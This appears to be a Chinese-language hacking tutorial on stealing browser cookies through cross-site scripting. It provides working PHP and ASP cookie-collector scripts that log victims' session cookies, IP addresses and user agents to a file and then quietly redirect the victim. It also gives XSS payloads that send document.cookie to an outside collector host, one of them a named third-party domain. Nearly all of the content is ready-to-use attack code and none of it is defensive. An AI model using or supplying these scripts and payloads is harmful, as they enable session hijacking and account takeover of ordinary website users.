使用的工具 :
1.免费网页 支援PHP
2.存在xss的脆弱的网站 。

vb.php 为存放cookie 的网页
PHP Code:

<head>
<meta http-equiv="Content-Language" content="it">
<title>Cook ie s Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcol or ="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>

</body>



documents.php取得cookie的网页PHP Code:

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:   ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>


Vb.php文件是用来收集Cookie和其他信息。
documents.php文件用于抓取资料如: IP地址,用户代理和cookie 。
现在,我们需要找到脆弱网站跨站 点脚本 ( XSS ) 。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法 documents.php?c="+document.cookie;如下例子:
Code:

http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>



当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面

相关代码:

<script>document.write('<img src="http://url/news. asp ?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>



news.asp代码:

<%
msg=Request.ServerVariables("QUERY_STRING")    
testfile=Server.MapPath("cook.txt")    
set fs=server.CreateObject("scripting.filesystemobject")    
set thisfile=fs.OpenTextFile(testfile,8,True,0)    
thisfile.Writeline(""&msg& "")    
thisfile.close    
set fs = nothing    
%>



PHP版代码:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

更多推荐